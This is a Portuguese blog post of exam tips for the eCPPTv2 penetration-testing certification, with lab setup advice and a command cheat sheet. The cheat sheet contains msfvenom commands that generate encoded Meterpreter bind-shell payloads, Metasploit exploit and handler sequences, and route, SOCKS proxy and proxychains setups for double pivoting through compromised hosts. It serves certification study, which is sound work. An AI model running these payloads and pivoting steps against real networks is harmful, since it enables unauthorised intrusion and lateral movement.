INTRO
Desta vez vou escrever um pouco sobre minha experiência com esta certificação pois fiquei pensando que alguns pontos podem vir a ajudar outros que estejam no mesmo caminho.
Muitas postagens são no sentido de detalhar o dia a dia da prova, o que usou para estudo, como é a prova, etc. Entendo que estes ajudam também, mas essa não é minha intenção, mas sim, relatar algumas experiências de forma direta que podem ajudar a quem está buscando esta certificação.
# SOBRE A CERTIFICAÇÃO
Hoje eu possuo certificações da EC COUNCIL (CEH v10 ANSI e PRACTICAL) , da Offensive Security ( OSCE ) e da eLearn ( eWPT e agora eCPPTv2 ).
Gosto bastante das certificações da eLearn por elas serem mais próximas de um trabalho real de um pentest do que um CTF/Desafio onde se busca provar que conseguiu determinado objetivo através de flags.
Nas certificações da eLearn que fiz até agora a pressão está, não em atingir um objetivo em tanto tempo , como as da Offensive Security, mas sim em não saber onde termina. Você tem 7 dias para fazer a prova mas em nenhum momento é dito quantas vulnerabilidades você achará pelo caminho, logo, tem que enumerar e testar tudo. Afinal, é um pentest onde você foi pago para reportar as vulnerabilidades presentes!
Um dos pontos que não gostei é que, em uma prova que exige explorar várias máquinas, em caso de instabilidade de um serviço de uma máquina, ter que reiniciar todo o lab e consequentemente todas as máquinas e ter que explorar tudo de novo, é bem chato.
MINHAS RECOMENDAÇÕES
- Experiências pessoais, são experiências pessoais. Sempre bom lembrar que as experiências de cada um tem influência direta no quanto e como cada um estudou para obter a certificação. Leve isso em conta. Pense se você tem domínio ou não sobre os assuntos cobrados na certificação.
- Ao conectar no LAB da prova você deverá baixar um arquivo
.ovpn
de conexão de VPN. A VPN está configurada para usar a cifra AES-128-CBC e o arquivo está ainda no padrão antigo do openvpn. Abra o arquivo, e substituacipher AES-128-CBC
pordata-ciphers AES-128-CBC
. - >>> DOCUMENTE seu passo a passo! <<< Faça um passo a passo de todos os comandos usados para comprometer uma máquina e depois escalar privilégios. Caso você precise começar do zero (reiniciar seu kali, reiniciar o metasploit, resetar o lab) você voltará ao estado atual rapidamente.
Exemplo de exploração, criação de rota para outra rede através da sessão do meterpreter e definição de um socks proxy , no metasploit:
use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set LPORT 1337
set RHOST 1.1.1.1
exploit
background
route add 2.2.2.2/24 1
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
exploit -j
- Se prepare.
- É de comum conhecimento que você enfrentará um desafio de Buffer Overflow. Não é nada de outro mundo, mas não custa se preparar pra verificar se o conhecimento está “embaixo das pontas dos dedos”.
- Baixe e configure uma VM windows 7 com o Immunity Debugger, python 2.7 e o módulo mona.py.
- Baixe e configure uma VM com o kali e todas as ferramentas que você pensa em utilizar.
- Verifique se tem integração de COPIAR e COLAR , pastas compartilhas, etc. entre elas e o seu host para facilitar a troca de arquivos e conteúdos.
- Para as máquinas virtuais eu usei o Vagrant (https://www.vagrantup.com/). Aconselho a dar uma olhada pois facilita muito a instalação do ambiente.
- Kali : box kalilinux/rolling
- Windows 7: box datacastle/windows7
- Leve em consideração que a prova é antiga, isso não quer dizer que não aborde temas atuais, mas que as vezes podem haver incompatibilidades de ferramentas. Por exemplo, existem alguns relatos de problemas encontrados onde a pessoa resolveu fazendo downgrade para o Metasploit 5.
- O script pimpmykali ( ‣ ) fazia downgrade mas depois das últimas atualizações não faz mais. Uma possibilidade, seria instalar uma VM do kali linux antiga que tivesse o Metasploit 5.
- Eu utilizei o metasploit 6 com o kali mais atual, no momento da escrita deste artigo, kali 2023.2, e tudo funcionou corretamente. Um detalhe importante:
- No Metasploit 5 o módulo para criar um server socks 4 é o
auxiliary/server/socks4a
- No Metasploit 6 o módulo para criar um server socks 4 é o
auxiliary/server/socks_proxy
onde você deve definir a opçãoSET VERSION 4a
.
- No Metasploit 5 o módulo para criar um server socks 4 é o
- Diferentemente das provas da Offensive, o metasploit/meterpreter são seus amigos. Dá pra fazer quase tudo apenas com eles. ;D
- Você precisará usar pivoteamento, isso também já é de conhecimento público. Basta o metasploit. O artigo https://pentest.blog/explore-hidden-networks-with-double-pivoting/ é bem interessante. Em resumo.
- Com o metasploit você consegue, usando o meterpreter, criar rotas e proxies para outras redes. O passo a passo a ser seguido de forma geral é:
- A- Comprometa a máquina
- B - Crie uma rota para a rede que você deseja usando a sessão meterpreter como pivot
- C - Suba um Socks Proxy local para, usando o proxychains, poder usar outras ferramentas (nmap, nc, etc.) que não estão no metasploit.
- Com o metasploit você consegue, usando o meterpreter, criar rotas e proxies para outras redes. O passo a passo a ser seguido de forma geral é:
- Lembre-se , pivotear exige que toda a comunicação seja possível.
- Sessões meterpreter utilizadas no roteamento podem cair ou estarem “apenas parecendo ok” e fazer a comunicação falhar
- A conexão VPN pode ficar instável
- Usar o Three-way-handshake (-sT no nmap) quando tiver escaneando através de Pivots.
- Se a conexão a um host está falhando, se o que estava funcionando não funciona mais, as vezes não é necessário resetar o LAB. Observe se a VPN está ativa. Observe se os túneis (rotas e socks proxy) estão ativos. Tente antes sair e abrir de novo o Metasploit.
- Ao explorar um serviço e ele cair, se ele estiver gerando outros processos e thread, pode ser que ele “se recupere”. Aguarde e teste de novo. Talvez você não precise reiniciar o lab.
- Lembre-se, a prova tenta simular um ambiente corporativo real!
- Existe firewall habilitado na máquina ?
- Você está tentando conectar em porta que deveria estar aberta e não consegue ? Firewall ? Todos os elementos que fecham a rota até o destino estão estáveis ?
- Lembre-se! Um shell reverso só é possível se o destino consegue conectar em sua máquina! Consegue ?
CHEAT SHEETS
Algumas anotações de comandos que fiz para ter acesso rápido e alguns links de cheat sheets que achei interessante e podem ajudar.
METERPRETERS
kali> msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1337 -f elf > meterpreter_bind_1337
kali> msfvenom -p windows/meterpreter/bind_tcp LPORT=1337 -a x86 -e x86/shikata_ga_nai EXITFUNC=process --platform windows -b "\x00" -f python
PIVOTING
metasploit
Observe o prompt! Os comandos são executados no prompt do metasploit e não no meterpreter!
Exemplo geral:
meterpreter> background
msf> route add <NETWORK>/<MASK> <SESSION ID>
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1080
msf> exploit -j
Exemplo prático para duplo pivoteamento.
KALI MACHINE VPN ADDRESS: 192.168.0.2
VITIMA 1: 10.10.10.1
VITIMA 2: 10.150.15.1 (acessível apenas através da VITIMA 1)
VITIMA 3: 10.250.25.1 (acessivel apenas através da VITIMA 2)
... EXPLORAR A VITIMA 1 ...
msf> use exploit/windows/...
msf> set payload windows/meterpreter/bind_tcp
msf> set RHOSTS 10.10.10.1
msf> set LPORT 1337
msf> exploit
... CRIAR ROTA E SOCKS PARA A REDE DA VITIMA 2...
meterpreter> background
msf> route add 10.150.15.0/24 1
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1080
msf> exploit -j
... EXPLORAR A VITIMA 2 ...
... É possível pois o metasploit usará automaticamente o pivot da vitima 1...
msf> use exploit/windows/...
msf> set payload windows/meterpreter/bind_tcp
msf> set RHOSTS 10.150.15.1
msf> set LPORT 21337
msf> exploit
... CRIAR ROTA E SOCKS PARA A REDE DA VITIMA 3...
meterpreter> background
msf> route add 10.250.25.0/24 2
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1081 #(atentar para a mudança da porta)
msf> exploit -j
... No linux usando o nmap para escanear a vitima 3...
root# proxychains nmap -sT -Pn -n 10.250.25.1
proxychains
Alterar o arquivo /etc/proxychains4.conf:
- substituir
strict chain
pordynamic chain
(isso é para usar mais de um proxy para duplo pivoteamento) - Adicionar para cada Socks Proxy criado
socks4 127.0.0.1 <PORTA>
Exemplo do arquivo de configuração
dynamic chain
socks4 127.0.0.1 1080
socks4 127.0.0.1 1081
Usando o proxychains com o nmap
root> proxychain nmap -sT -Pn -n 10.10.10.10
Powershell e Comandos Windows
#PORTAS ABERTAS
netstat -tupan
#HABILITAR TELNET NO WINDOWS 7
pkgmgr /iu:”TelnetClient”
#PING SWEEP WINDOWS
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.10.10.%i > nul && echo 10.10.10.%i is up.
OUTROS CHEATSHEETS
- https://github.com/c0ffee0vrflw/eCPPTNotes
- https://github.com/sergiovks/eCPPTv2-Personal-Cheatsheet-ESP-
- https://github.com/PopLabSec/eCPPTv2-Notes-AIO